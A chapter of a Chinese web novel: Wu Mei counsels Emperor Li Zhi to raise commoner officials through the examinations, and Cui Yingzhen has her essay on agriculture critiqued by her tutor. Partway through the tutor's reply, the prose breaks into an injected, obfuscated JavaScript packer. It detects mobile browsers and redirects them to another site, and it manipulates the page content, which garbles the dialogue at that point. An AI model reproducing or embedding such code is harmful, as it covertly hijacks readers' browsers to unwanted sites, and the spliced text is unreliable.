刀得听话,得认主,得帮她砍人。可刀砍完了人,还回不回鞘,那就由不得拿刀的人说了算了。 宫女在前头催,她收回目光,跟着往后头走去。 昭仪的新住处收拾得干净整齐,比感业寺那间小屋强了不知多少倍。 武媚站在窗前,看着外头的院子,忽然想起崔应真来。 也不知道那丫头在吴县怎么样。 外头传来脚步声,是新拨来的宫女在门口请示。 武媚收回思绪,转过身,脸上已经换了一副温和的笑:“进来吧。” 日子还长着呢。 7. 应试技巧 晚上,李治来了。 武媚刚洗完头发,正拿着干布慢慢擦。头发还短,才长出寸把长,湿漉漉地贴在头皮上,听见外头通报,她愣了一下,赶紧把布放下,整了整衣裳迎出去。 刚走到门口,李治已经进来了。 两人对视,都笑了。 “臣妾参见陛下。”武媚要行礼,李治一把扶住她,拉着往里走。 “别讲究这些。”他坐下,看着她,眼神里带着笑,“头发还湿着,擦干再说话,小心着凉。” 武媚应了一声,拿起布继续擦。 “陛下怎么有空过来?” 李治靠在软塌上,闷闷地说:“想你了。朝里的事烦得很,下了朝就想来你这儿坐坐。” 武媚也不忌讳,轻声问:“朝里怎么了?” 李治叹了口气:“今儿个为了河南道那批赈灾粮的事,吵了一上午。朕说先拨粮,等秋收后再让地方补上。 长孙无忌非说祖宗之法不可违,必须按规矩来,先上报,再审核,再拨粮。等他那套流程走完,人都饿死了。” 武媚听着,没急着接话,想了想才说:“那陛下最后怎么定的?” “还能怎么定?”李治苦笑,“那几个老家伙摆出一副如果不听他们的就要死谏的样子,谁还敢忤逆?” 武媚也叹了口气:“规矩是死的,人是活的。真等流程走完,出了人命,最后挨骂的还是陛下。” 李治看着她,眼里有些感动:“知我者,唯有媚娘啊。” 武媚笑了笑,给他倒了杯茶。 李治接过茶,喝了一口,忽然又说:“其实朕知道他们为什么这样。” “为什么?” “他们觉得朕年轻,不懂事。” 李治放下茶杯,声音低了下去,“先帝在时,他们可不敢这样。如今先帝走了,他们就觉得朕好拿捏。 什么事都要插一手,什么事都要按他们的意思来。朕说的话,他们表面应着,转头就能拖上十天半个月。” 武媚看着他,眼神中充满着担忧。 李治继续说:“就拿今年春上的事来说,朕想提拔几个新人,长孙无忌说资历不够,压着不让。 朕想减免些赋税,褚遂良说国库不丰,又给驳回来。朕是皇帝,可朕说的话,出了这道宫墙,到底算不算数?” 他说到最后,声音有些涩。 武媚伸手,轻轻握住他的手。 “陛下,”她轻声道,“臣妾有个想法,不知当讲不当讲。” “你说。” “那些老臣,他们为什么敢这样?”武媚慢慢说,“因为他们背后有家世,有势力。太原王氏、荥阳郑氏、范阳卢氏,这些世家大族盘根错节,朝里朝外都是他们的人。他们觉得,陛下离了他们,朝廷就转不动了。” 李治皱眉:“你的意思是……” “可要是有一天,陛下身边有了新人呢?” 武媚看着他,“新人没有家世,没有靠山,全靠陛下的提拔才能立足。他们自然只听陛下的,不听什么太原王氏、荥阳郑氏的。” “你说的在理,”李治只略想想就明白了,“只是朝中新人多为世家大族自行推举,恐怕还是会选择这些靠山。” 武媚继续说:“臣妾听说,三年一次的省试,再过两年就到了。到时候各地举子进京赶考,里头总有能用的吧? 陛下从这些人里头挑几个好的,慢慢提拔起来,让他们进御史台,进六部,哪怕一开始只是做个八品小官,慢慢养着,三五年后,不就有人了吗?” 李治听着,眼睛渐渐亮了。 是了,前朝开创的科举法,其中就有招纳寒门弟子的先例。 先帝也采纳了此法并且规定,三年一总考,只是规模很小,招纳人数也不多,每次只招收堪堪十几人。因此朝廷中官员大多数还是世家子弟,盘根错节。 若是……他能够扩大科举的影响力,招收更多的寒门子弟,就一定能够压制那些豪门贵族。 “那些老臣再厉害,能厉害几年?”武媚轻声道,“可新人一茬一茬的,只要陛下用心挑,还怕没人用?” 李治看着她,忽然笑了。 “媚娘,你这脑子……”他摇摇头,又点点头,“朕怎么就没想到呢?” 武媚也笑了:“陛下是太忙了,顾不上想这些。臣妾闲人一个,成天琢磨这些有的没的。” 李治握住她的手,认真道:“不是有的没的。你说得对,朕得用新人。世家大族势力再大,朕不指望他们,他们还能怎么着?” 武媚点点头,靠在他肩上没说话。 她心里想的,却是另一回事。 李治需要新人,她更需要。 她没有兄弟,有几个侄子她也清楚得很,都是扶不上墙的烂泥。 真要用人,得靠外头的人。 崔应真那丫头,聪明,机灵,关键是知道她的底细。而且崔应真是女儿身,这件事只有她知道。有了这个把柄,崔应真不管飞多高,都得听她的。 李治搂着她,渐渐困了。武媚轻手轻脚把他放平,盖上被子,自己也躺下。 外头的梆子声越来越远,她闭着眼,嘴角弯了弯。 吴县那边,崔应真正在埋头苦读。 这些日子,她把陈德明借给她的那些范文翻来覆去看了好几遍。县试的时间她打听清楚了——明年二月,在县学里考。算算还有大半年,够她准备的。 而且,她还听说今年的新政要扩招科举人数,而且官服大刀阔斧的新建考试院,还放宽了对科举考试的要求。 这对崔应真来说无疑是一个好消息。 学舍里没什么人,陈德明在后院看书。崔应真进去行了礼,把最近写的文章递上去。 “夫子,学生写了篇策问,您给看看。” 陈德明接过,低头看起来。 崔应真写的这篇策问,题目是她自己拟的,叫《论农桑为本》。 她在文章里这样写: “臣闻民以食为天,国以农为本。仓廪实则知礼节,衣食足则知荣辱。今观天下州县,有田者不耕,耕者无其田。富者连阡陌,而贫者无立锥之地。此非盛世所宜有也。” 开头点题,接着写现状。 “江南水乡,地沃人稠,一岁再熟,本该富庶。然臣所见,佃农终岁勤苦,所得不过十之三四。遇水旱蝗灾,则鬻儿卖女,流离失所。而田主坐收其利,不劳而获。长此以往,贫者愈贫,富者愈富,非国家之福也。” 中间分析问题。 “或曰:均田之法,祖宗之制,不可易也。臣以为不然。法者,所以治也。时移世易,法亦宜变。开元之时,人口未繁,均田可行。今天下承平日久,生齿日众,田不足均,而法犹不变,此所谓刻舟求剑者也。” 最后提出建议。 “为今之计,莫若劝农桑,轻徭役,使民得尽其力。又当严限田之制,抑兼并之风。使耕者有其田,织者得其食。如此,则仓廪可实,教化可行,天下可安矣。” 崔应真心里打鼓,小心翼翼问:“夫子,怎么样?” 陈德明看着她,说:“你这文章,有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17334364|199215||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 想法。” 崔应真松了口气。 “但是,”陈德明话锋一转,“路子太野。” 他从旁边抽出一份卷子,递给崔应真:“你看看这个,这是和你同一个题目的文章。” 崔应真接过,低头看。那卷子上写的是同一道题,开头也是“臣闻”,但人家写得规规矩矩,引经据典,一句接一句,看着就顺眼。 陈德明指着两份卷子说:“你这里,写‘富者连阡陌,贫者无立锥之地’,这话没错,但太直了。 你看人家的,‘田连阡陌者,坐享膏腴;室如悬磬者,终岁勤苦’,意思一样,说出来就是好听。” 崔应真认真听着。 “还有这里,”陈德明指着她文章中间,“你说‘法者,所以治也。时移世易,法亦宜变’,这话有理,但你引经了吗?没有。 你看人家这篇,说同样的事,先引《周礼》,再引《汉书》,最后落到当朝,层层递进,考官看了就觉得这人有学问。” 崔应真心服口服。 陈德明又说:“你这文章,给懂行的人看,会觉得有意思。可考官一天要看几百份卷子,哪有工夫琢磨你这点意思?他要的是一眼能看明白的,规规矩矩的,引经据典的。” 他把两份卷子都放下,看着崔应真:“你现在这个水平,可过可不过。要是碰上喜欢新意的考官,能过。要是碰上讲究规矩的,悬。” 崔应真非常虚心,问:“那学生该怎么办?” “多读,多看,多写。”陈德明说,“还有,你这笔字必须得练练。想来是由于你多年在病中不曾用笔,这笔法生疏的很。” 崔应真由虚心变为心虚,前世她哪里用过毛笔写这么多字,还真得下功夫练练才行。 正说着,外头进来个人。崔应真回头一看,是赵承煜。 赵承煜朝陈德明行了礼,又朝崔应真点点头,笑得客客气气:“应真也在啊。” 崔应真也笑笑。 陈德明看着赵承煜,说:“来得正好。你今年县试准备得如何?” 赵承煜笑着:“回夫子,学生心里有数。帖经、杂文、策问,该背的都背了,该练的也练了。” 他看了一眼崔应真,又说,“应真头一回下场,得多用些功才行。县试不比平时读书,规矩多着呢。” 崔应真心里翻个白眼,面上却恭恭敬敬:“赵兄说得是,学生正跟夫子请教呢。” 赵承煜笑了笑,坐到一旁看书去了。可那笑里,分明带着点得意。他那架势,看来县试是十拿九稳的。 崔应真收回目光,继续听陈德明讲解那些范文。 从陈德明家出来,天已经快黑了。崔应真走在巷子里,脑子里还想着陈德明说的那些话。 可过可不过,这评价她得接着。还有大半年,她得把那些规矩琢磨透。 回到家,杨氏已经把饭做好了。一碗粥,一碟咸菜,还有两块蒸糕。 崔应真坐下吃饭,杨氏在旁边看着她,满怀关切地问:“夫子怎么说?” “还行。”崔应真笑笑,“说我文章有想法,就是不够规矩,得多练。” 杨氏松了口气,“好,好,多练。你好好考,娘供着你。” 崔应真看着那碗粥,心里忽然有点酸。 吃完饭,她进了书房,点上油灯,继续看那些范文。外头偶尔传来狗叫声,一声两声的,很快又静了。 她看着那工工整整的字迹,心想:规矩就规矩,她还不信自己学不会。 油灯的火苗一跳一跳的,照着她认真的脸。